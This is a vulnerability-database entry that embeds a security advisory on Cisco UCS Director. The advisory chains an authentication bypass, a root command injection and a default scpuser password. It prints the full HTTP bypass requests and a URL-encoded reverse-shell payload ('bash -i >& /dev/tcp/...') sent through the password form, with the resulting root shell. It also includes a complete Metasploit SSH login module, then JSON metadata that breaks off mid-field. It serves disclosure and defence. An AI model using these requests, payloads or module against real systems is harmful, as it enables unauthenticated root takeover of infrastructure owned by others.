var-201908-0544
Vulnerability from variot
A vulnerability in Cisco Integrated Management Controller (IMC) Supervisor, Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker to log in to the CLI of an affected system by using the SCP User account (scpuser), which has default user credentials. The vulnerability is due to the presence of a documented default account with an undocumented default password and incorrect permission settings for that account. Changing the default password for this account is not enforced during the installation of the product. An attacker could exploit this vulnerability by using the account to log in to an affected system. A successful exploit could allow the attacker to execute arbitrary commands with the privileges of the scpuser account. This includes full read and write access to the system's database. are all products of Cisco (Cisco). It is built using Java and a variety of other technologies and distributed as a Linux based virtual appliance. A demo of the UCS virtual appliance can be freely downloaded from Cisco's website [1].
Due to several coding errors, it is possible for an unauthenticated remote attacker with no privileges to bypass authentication and abuse a password change function to inject arbitrary commands and execute code as root. In addition, there is a default unprivileged user with a known password that can login via SSH and execute commands on the virtual appliance provided by Cisco. Two Metasploit modules were released with this advisory, one that exploits the authentication bypass and command injection, and another that exploits the default SSH password. However, Agile Information Security only tested Cisco UCS Director.
Agile Information Security would like to thank Accenture Security (previously iDefense) [5] for handling the disclosure process with Cisco.
Vendor description [6]: "Cisco UCS Director delivers a foundation for private cloud Infrastructure as a Service (IaaS). It is a heterogeneous management platform that features multivendor task libraries with more than 2500 out-of-the-box workflow tasks for end-to-end converged and hyperconverged stack automation. You can extend your capabilities to: - Automate provisioning, orchestration, and management of Cisco and third-party infrastructure resources - Order resources and services from an intuitive self-service portal - Automate security and isolation models to provide repeatable services - Standardize and automate multitenant environments across shared infrastructure instances"
Technical details:
1
Vulnerability: Web Interface Authentication Bypass / CWE-287 CVE-2019-1937 Cisco Bug ID: CSCvp19229 [2] Risk Classification: Critical Attack Vector: Remote Constraints: No authentication required Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and 6.7.0, see [2] for Cisco's list of affected versions
UCS exposes a management web interface on ports 80 and 443 so that users of UCS can perform cloud management functions. Due to a number of coding errors and bad practices, it is possible for an unauthenticated attacker to obtain an administrative session by bypassing authentication. The following sequence of requests and responses shows the authentication bypass works.
1.1) First we send a request to ClientServlet to check our authentication status: GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Requested-With: XMLHttpRequest
... to which the server responds with a redirect to the login page since we are not authenticated: HTTP/1.1 302 Found Location: https://10.0.3.100/app/ui/login.jsp Content-Length: 0 Server: Web
1.2) We now follow the redirection to obtain a JSESSIONID cookie: GET /app/ui/login.jsp HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Requested-With: XMLHttpRequest
And the server responds with our cookie: HTTP/1.1 200 OK Set-Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745; Path=/app; Secure; HttpOnly Server: Web
1.3) Then we repeat the request from 1.1), but this time with the JSESSIONID cookie obtained in 1.2): GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74; X-Requested-With: XMLHttpRequest
... and we still get redirected to the login page, as in step 1.1): HTTP/1.1 302 Found Location: https://10.0.3.100/app/ui/login.jsp Content-Length: 0 Server: Web
1.4) To completely bypass authentication, we just need to send the JSESSIONID cookie with added X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values: GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/ X-Starship-UserSession-Key: ble X-Starship-Request-Key: bla Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74; X-Requested-With: XMLHttpRequest
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3; Path=/app; Secure; HttpOnly Connection: close Server: Web Content-Length: 428
{"productaccess_id":0,"loginName":"admin","productId":"cloupia_service_portal","accessLevel":null,"isEulaAccepted":false,"eulaAcceptTime":null,"eulaSrcHost":null,"restKey":"bla","allowedOperations":null,"userType":null,"server":null,"domainName":null,"suspend":false,"starshipUserId":null,"starshipUserLocale":null,"isAdminPasswordReset":true,"profileId":0,"credentialId":"","isClassicUIEnabled":false,"starshipSessionId":"ble"}
... and just like that, we can see from the information the server returned that we are logged in as the "admin" user! From now on, we need to use the new JSESSIONID cookie returned by the server in 1.4) to have full administrative access to the UCS web interface.
To summarise, our exploit needs to: a) obtain a JSESSIONID cookie b) "authenticate" it by sending a request to ClientServlet with the X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values c) use the new JSESSIONID cookie returned in b) as the "admin" authenticated cookie
In some cases, the server will authenticate the old cookie and not return a new one, but the effect is the same - the "old" JSESSIONID cookie will be authenticated as an "admin" cookie.
Let's dig into the decompiled code, and see what is happening under the hood.
All the coding errors that make this possible are in the class com.cloupia.client.web.auth.AuthenticationFilter, which as a javax.servlet.Filter subclass whose doFilter() function is invoked on every request that the server receives (as configured by the web application).
A snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter() is shown below, with comments preceded with ^^^:
public void doFilter(ServletRequest request, ServletResponse
response, FilterChain chain) { (...) httpRequest = (HttpServletRequest)request; logger.debug("doFilter url: " + httpRequest.getRequestURL().toString()); boolean isAuthenticated = this.authenticateUser(httpRequest); ^^^ 1.5) invokes authenticateUser() (function shown below)
String samlLogoutRequest;
if(!isAuthenticated) {
^^^ 1.6) if authenticateUser() returns false, we go into
this branch
samlLogoutRequest = request.getParameter("SAMLResponse");
logger.info("samlResponse-->" + samlLogoutRequest);
if(samlLogoutRequest != null) {
this.handleSAMLReponse(request, response, chain,
samlLogoutRequest); } else { ^^^ 1.7) if there is no SAMLResponse HTTP parameter, we go into this branch
HttpSession session;
ProductAccess userBean;
String requestedUri;
if(this.isStarshipRequest(httpRequest)) {
^^^ 1.8) checks if isStarshipRequest() returns
true (function shown below)
session = null !=
httpRequest.getSession(false)?httpRequest.getSession(false):httpRequest.getSession(true); userBean = (ProductAccess)session.getAttribute("USER_IN_SESSION"); if(userBean == null) { ^^^ 1.9) if there is no session server side for this request, follow into this branch...
try {
userBean = new ProductAccess();
userBean.setCredentialId("");
userBean.setAdminPasswordReset(true);
userBean.setProductId("cloupia_service_portal"); userBean.setProfileId(0);
userBean.setRestKey(httpRequest.getHeader("X-Starship-Request-Key"));
userBean.setStarshipUserId(httpRequest.getHeader("X-Starship-UserName-Key")); userBean.setLoginName("admin"); ^^^ 1.10) and create a new session with the user as "admin"!
userBean.setStarshipSessionId(httpRequest.getHeader("X-Starship-UserSession-Key")); requestedUri = httpRequest.getHeader("X-Starship-UserRoles-Key"); userBean.setAccessLevel(requestedUri); if(requestedUri != null && requestedUri.equalsIgnoreCase("admin")) { AuthenticationManager authmgr = AuthenticationManager.getInstance(); userBean.setAccessLevel("Admin");
authmgr.evaluateAllowedOperations(userBean); }
session.setAttribute("USER_IN_SESSION",
userBean); session.setAttribute("DEFAULT_URL", STARSHIP_DEFAULT_URL); logger.info("userBean:" + userBean.getAccessLevel()); } catch (Exception var12) { logger.info("username/password wrong for rest api access - " + var12.getMessage()); }
logger.info("userBean: " +
userBean.getAccessLevel()); }
chain.doFilter(request, response);
(...)
}
As it can be read in the inline comments in the function above, our first hurdle at 1.5) is to make authenticateUser() return false:
private boolean authenticateUser(HttpServletRequest request) {
boolean isValidUser = false;
HttpSession session = null;
session = request.getSession(false);
^^^ 1.11) get the session for this request
if(session != null) {
ProductAccess user =
(ProductAccess)session.getAttribute("USER_IN_SESSION"); if(user != null) { isValidUser = true; if(this.isStarshipRequest(request) && !user.isStarshipAccess(request.getHeader("X-Starship-UserSession-Key"))) { isValidUser = false; } else { logger.debug("AuthenticationFilter:authenticateUser - User " + user.getLoginName() + " has been previously authenticated"); } } } else { logger.info("AuthenticationFilter:authenticateUser - session is null"); ^^^ 1.12) no session found, return isValidUser which is false as set at the start of the function
}
return isValidUser;
}
This is easily done, and it works as expected - we do not have a session, so at 1.11) the session is null, and then we go into 1.12) which makes the function return false.
We now go back to the doFilter() function, and go into the branch in 1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into the 1.7) branch. Now we get to the critical part in 1.8). Here, isStarshipRequest() is invoked, and if it returns true, the server will create an "admin" session for us...
private boolean isStarshipRequest(HttpServletRequest httpRequest) {
return null !=
httpRequest.getHeader("X-Starship-UserSession-Key") && null != httpRequest.getHeader("X-Starship-Request-Key"); }
isStarshipRequest() is shown above, and clearly the only thing we need to do to make it return true is to set the X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers.
We then follow into 1.9) and 1.10), and we get our administrative session without having any credentials at all! Moreover, the session is completely stealthy and invisible to other users, as it does not appear in Administration -> Users and Groups -> All Users Login History nor in Administration -> Users and Groups -> Current Online Users.
According to Cisco's documentation [7]: "An SCP user is used by server diagnostics and tech support upload operations for transferring files to the Cisco IMC Supervisor appliance using the SCP protocol. An scp user account cannot be used to login to the Cisco IMC Supervisor UI or the shelladmin."
The web interface contains functionality to change the user password for the 'scpuser' in Administration -> Users and Groups -> SCP User Configuration, and in this page it says: "The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin"
Apparently this is not true and not only the user can log in via SSH per
default, but it does so with a default password of 'scpuser' if it not
changed by the administrator after installation:
UCS > ssh scpuser@10.0.3.100
Password:
3
Vulnerability: Authenticated command injection via the web interface as root (CWE-78) CVE-2019-1936 Cisco Bug ID: CSCvp19245 [4] Risk Classification: Critical Attack Vector: Remote Constraints: requires authentication to the UCS web interface Affected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7, see [4] for Cisco's list of affected versions
As shown in #2, the web interface contains functionality to change the user password for the 'scpuser' in Administration -> Users and Groups -> SCP User Configuration.
This is handled by the Java class com.cloupia.feature.cimc.forms.SCPUserConfigurationForm in doFormSubmit(), which is shown below, with my markers and comments preceded with ^^^:
public FormResult doFormSubmit(String user, ReportContext context,
String formId, FormFieldData[] data) throws Exception { logger.info((Object)"doFormSubmit invoked "); FormResult result = this.validateForm(context, this.getDefinition(), formId, data, true); if (result.getStatus() == 0) { try { SCPUserConfig existingConfig; FormFieldDataList datalist = new FormFieldDataList(data); String password = datalist.getById(FIELD_ID_PASSWORD).getValue(); ^^^ 3.1) gets "password" from the form sent by the user SCPUserConfig newSCPUserConfig = new SCPUserConfig(); newSCPUserConfig.setPassword(password); if ("****".equals(password) && (existingConfig = CIMCPersistenceUtil.getSCPUserConfig()) != null) {
newSCPUserConfig.setPassword(existingConfig.getPassword()); } CIMCPersistenceUtil.setSCPUserConfig(newSCPUserConfig); Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "echo -e \"" + password + "\n" + password + "\" | (passwd --stdin " + "scpuser" + ")"}); ^^^ 3.2) runs /bin/sh with "password" argument p.waitFor(); datalist.getById(FIELD_ID_PASSWORD).setValue("****"); result.setStatus(2);
result.setStatusMessage(RBUtil.getString((String)"CIMCControllerFeature.form.scpuser.success.label")); return result; } catch (Exception ex) { result.setStatusMessage(ex.getMessage()); result.setStatus(1); return result; } } return result; } }
In 3.1) we see that the function gets the "password" field from the from sent by the user, and in 3.2) it passes this input directly to Runtime.getRuntime().exec(), which leads to a clear command injection. This is run as root, as the web server runs as root and superuser access would be necessary anyway to change a password of another user.
To obtain a reverse shell, we can send the following payload to ClientServlet, which will then invoke the SCPUserConfigurationForm.doFormSubmit(): POST /app/ui/ClientServlet HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/app/ux/index.html X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 945 Cookie: JSESSIONID=C72361B8C66F8FDF871F94C1FC1E07974E9B5B9E1C953D713E4DC305CB2D4CD1
formatType=json&apiName=ExecuteGenericOp&serviceName=InfraMgr&opName=doFormSubmit&opData=%7B%22param0%22%3A%22admin%22%2C%22param1%22%3A%7B%22ids%22%3Anull%2C%22targetCuicId%22%3Anull%2C%22uiMenuTag%22%3A23%2C%22cloudName%22%3Anull%2C%22filterId%22%3Anull%2C%22id%22%3Anull%2C%22type%22%3A10%7D%2C%22param2%22%3A%22scpUserConfig%22%2C%22param3%22%3A%5B%7B%22fieldId%22%3A%22FIELD_ID_USERNAME%22%2C%22value%22%3A%22scpuser%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_DESCRIPTION%22%2C%22value%22%3A%22The%20'scpuser'%20will%20be%20configured%20on%20this%20appliance%20in%20order%20to%20enable%20file%20transfer%20operations%20via%20the%20'scp'%20command.%20This%20user%20account%20cannot%20be%20used%20to%20login%20to%20the%20GUI%20or%20shelladmin.%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_PASSWORD%22%2C%22value%22%3A%22%60%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%33%2e%39%2f%34%34%34%34%20%30%3e%26%31%60%22%7D%5D%7D
In the example above, the FIELD_ID_PASSWORD is set to "bash -i >&
/dev/tcp/10.0.3.9/4444 0>&1
", which returns a reverse shell to host
10.0.3.9 on port 4444 running as root:
UCS > nc -lvkp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 10.0.3.100 55432 received! bash: no job control in this shell [root@localhost inframgr]# whoami root
Exploitation summary: By chaining vulnerability #1 (authentication bypass) with vulnerability
3 (authenticated command injection as root), it is clear that an
unauthenticated attacker with no privileges on the system can execute code as root, leading to total compromise of Cisco UCS Director. Agile InfoSec does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerabilities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsibility, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market.
All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
> Enabling secure digital business.
Pedro Ribeiro Vulnerability and Reverse Engineer / Cyber Security Specialist
pedrib@gmail.com PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C
. ##
This module requires Metasploit: https://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework
require 'net/ssh' require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Cisco UCS Director default scpuser password",
'Description' => %q{
This module abuses a known default password on Cisco UCS Director.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, "Username to login with", 'scpuser']),
OptString.new('PASSWORD', [true, "Password to login with", 'scpuser']),
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost datastore['RHOST'] end
def rport datastore['RPORT'] end
def do_login(user, pass) factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], :port => rport, :use_agent => false, :config => false, :password => pass, :proxy => factory, :non_interactive => true, :verify_host_key => :never }
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
conn = Net::SSH::CommandStream.new(ssh)
ssh = nil
return conn
end
return nil
end
def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD']
print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
conn = do_login(user, pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
handler(conn.lsock)
end
end end
Show details on source website{ "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" } }, "@id": "https://www.variotdbs.pl/vuln/VAR-201908-0544", "affected_products": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "model": "ucs director", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "6.7\\(0.0.67265\\)" }, { "model": "ucs director", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "6.7.1.0" }, { "model": "ucs director", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "6.6.0.0" }, { "model": "ucs director", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "6.0.0.0" }, { "model": "integrated management controller supervisor", "scope": "gte", "trust": 1.0, "vendor": "cisco", "version": "2.2.0.0" }, { "model": "ucs director", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "6.5.0.0" }, { "model": "ucs director express for big data", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "3.7.0.0" }, { "model": "ucs director express for big data", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "3.0.0.0" }, { "model": "ucs director express for big data", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "3.5.0.0" }, { "model": "ucs director express for big data", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "3.6.0.0" }, { "model": "integrated management controller supervisor", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "2.1.0.0" }, { "model": "integrated management controller supervisor", "scope": "lte", "trust": 1.0, "vendor": "cisco", "version": "2.2.0.6" }, { "model": "ucs director", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "6.7.0.0" }, { "model": "ucs director", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "6.6.1.0" }, { "model": "ucs director express for big data", "scope": "eq", "trust": 1.0, "vendor": "cisco", "version": "3.7.1.0" }, { "model": "integrated management controller supervisor", "scope": null, "trust": 0.8, "vendor": "cisco", "version": null }, { "model": "ucs director", "scope": null, "trust": 0.8, "vendor": "cisco", "version": null }, { "model": "ucs director express for big data", "scope": null, "trust": 0.8, "vendor": "cisco", "version": null } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "db": "NVD", "id": "CVE-2019-1935" } ] }, "configurations": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "children": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "data": { "@container": "@list" }, "nodes": { "@container": "@list" } }, "data": [ { "CVE_data_version": "4.0", "nodes": [ { "cpe_match": [ { "cpe22Uri": "cpe:/a:cisco:integrated_management_controller_supervisor", "vulnerable": true }, { "cpe22Uri": "cpe:/a:cisco:ucs_director", "vulnerable": true }, { "cpe22Uri": "cpe:/a:cisco:ucs_director_express_for_big_data", "vulnerable": true } ], "operator": "OR" } ] } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2019-008543" } ] }, "credits": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Metasploit,independent security researcher Pedro Ribeiro to iDefense\u0027s Vulnerability Contributor Program.", "sources": [ { "db": "CNNVD", "id": "CNNVD-201908-1721" } ], "trust": 0.6 }, "cve": "CVE-2019-1935", "cvss": { "@context": { "cvssV2": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2" }, "cvssV3": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/" }, "severity": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" }, "@id": "https://www.variotdbs.pl/ref/cvss/severity" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "cvssV2": [ { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "author": "nvd@nist.gov", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "exploitabilityScore": 10.0, "id": "CVE-2019-1935", "impactScore": 10.0, "integrityImpact": "COMPLETE", "severity": "HIGH", "trust": 1.8, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0" }, { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "author": "VULHUB", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "exploitabilityScore": 10.0, "id": "VHN-151787", "impactScore": 10.0, "integrityImpact": "COMPLETE", "severity": "HIGH", "trust": 0.1, "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C", "version": "2.0" } ], "cvssV3": [ { "attackComplexity": "LOW", "attackVector": "NETWORK", "author": "ykramarz@cisco.com", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "exploitabilityScore": 3.9, "id": "CVE-2019-1935", "impactScore": 5.9, "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "trust": 1.8, "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, { "attackComplexity": "LOW", "attackVector": "NETWORK", "author": "nvd@nist.gov", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "exploitabilityScore": 3.9, "id": "CVE-2019-1935", "impactScore": 5.9, "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "trust": 1.0, "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" } ], "severity": [ { "author": "nvd@nist.gov", "id": "CVE-2019-1935", "trust": 1.0, "value": "CRITICAL" }, { "author": "ykramarz@cisco.com", "id": "CVE-2019-1935", "trust": 1.0, "value": "CRITICAL" }, { "author": "NVD", "id": "CVE-2019-1935", "trust": 0.8, "value": "Critical" }, { "author": "CNNVD", "id": "CNNVD-201908-1721", "trust": 0.6, "value": "CRITICAL" }, { "author": "VULHUB", "id": "VHN-151787", "trust": 0.1, "value": "HIGH" } ] } ], "sources": [ { "db": "VULHUB", "id": "VHN-151787" }, { "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "db": "CNNVD", "id": "CNNVD-201908-1721" }, { "db": "NVD", "id": "CVE-2019-1935" }, { "db": "NVD", "id": "CVE-2019-1935" } ] }, "description": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "A vulnerability in Cisco Integrated Management Controller (IMC) Supervisor, Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker to log in to the CLI of an affected system by using the SCP User account (scpuser), which has default user credentials. The vulnerability is due to the presence of a documented default account with an undocumented default password and incorrect permission settings for that account. Changing the default password for this account is not enforced during the installation of the product. An attacker could exploit this vulnerability by using the account to log in to an affected system. A successful exploit could allow the attacker to execute arbitrary commands with the privileges of the scpuser account. This includes full read and write access to the system\u0027s database. are all products of Cisco (Cisco). It is built\nusing Java and a variety of other technologies and distributed as a\nLinux based virtual appliance. A demo of the UCS virtual appliance can\nbe freely downloaded from Cisco\u0027s website [1]. \n\nDue to several coding errors, it is possible for an unauthenticated\nremote attacker with no privileges to bypass authentication and abuse a\npassword change function to inject arbitrary commands and execute code\nas root. \nIn addition, there is a default unprivileged user with a known password\nthat can login via SSH and execute commands on the virtual appliance\nprovided by Cisco. \nTwo Metasploit modules were released with this advisory, one that\nexploits the authentication bypass and command injection, and another\nthat exploits the default SSH password. However, Agile Information Security only tested\nCisco UCS Director. \n\nAgile Information Security would like to thank Accenture Security\n(previously iDefense) [5] for handling the disclosure process with Cisco. \n\n\n\u003e\u003e Vendor description [6]:\n\"Cisco UCS Director delivers a foundation for private cloud\nInfrastructure as a Service (IaaS). It is a heterogeneous management\nplatform that features multivendor task libraries with more than 2500\nout-of-the-box workflow tasks for end-to-end converged and\nhyperconverged stack automation. \nYou can extend your capabilities to:\n- Automate provisioning, orchestration, and management of Cisco and\nthird-party infrastructure resources\n- Order resources and services from an intuitive self-service portal\n- Automate security and isolation models to provide repeatable services\n- Standardize and automate multitenant environments across shared\ninfrastructure instances\"\n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Web Interface Authentication Bypass / CWE-287\nCVE-2019-1937\nCisco Bug ID: CSCvp19229 [2]\nRisk Classification: Critical\nAttack Vector: Remote\nConstraints: No authentication required\nAffected versions: confirmed in Cisco UCS Director versions 6.6.0 and\n6.7.0, see [2] for Cisco\u0027s list of affected versions\n\nUCS exposes a management web interface on ports 80 and 443 so that users\nof UCS can perform cloud management functions. \nDue to a number of coding errors and bad practices, it is possible for\nan unauthenticated attacker to obtain an administrative session by\nbypassing authentication. \nThe following sequence of requests and responses shows the\nauthentication bypass works. \n\n1.1) First we send a request to ClientServlet to check our\nauthentication status:\nGET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1\nHost: 10.0.3.100\nReferer: https://10.0.3.100/\nX-Requested-With: XMLHttpRequest\n\n... to which the server responds with a redirect to the login page since\nwe are not authenticated:\nHTTP/1.1 302 Found\nLocation: https://10.0.3.100/app/ui/login.jsp\nContent-Length: 0\nServer: Web\n\n1.2) We now follow the redirection to obtain a JSESSIONID cookie:\nGET /app/ui/login.jsp HTTP/1.1\nHost: 10.0.3.100\nReferer: https://10.0.3.100/\nX-Requested-With: XMLHttpRequest\n\nAnd the server responds with our cookie:\nHTTP/1.1 200 OK\nSet-Cookie:\nJSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745;\nPath=/app; Secure; HttpOnly\nServer: Web\n\n1.3) Then we repeat the request from 1.1), but this time with the\nJSESSIONID cookie obtained in 1.2):\nGET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1\nHost: 10.0.3.100\nReferer: https://10.0.3.100/\nCookie:\nJSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;\nX-Requested-With: XMLHttpRequest\n\n... and we still get redirected to the login page, as in step 1.1):\nHTTP/1.1 302 Found\nLocation: https://10.0.3.100/app/ui/login.jsp\nContent-Length: 0\nServer: Web\n\n1.4) To completely bypass authentication, we just need to send the\nJSESSIONID cookie with added X-Starship-UserSession-Key and\nX-Starship-Request-Key HTTP headers set to random values:\nGET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1\nHost: 10.0.3.100\nReferer: https://10.0.3.100/\nX-Starship-UserSession-Key: ble\nX-Starship-Request-Key: bla\nCookie:\nJSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;\nX-Requested-With: XMLHttpRequest\n\nHTTP/1.1 200 OK\nSet-Cookie:\nJSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3;\nPath=/app; Secure; HttpOnly\nConnection: close\nServer: Web\nContent-Length: 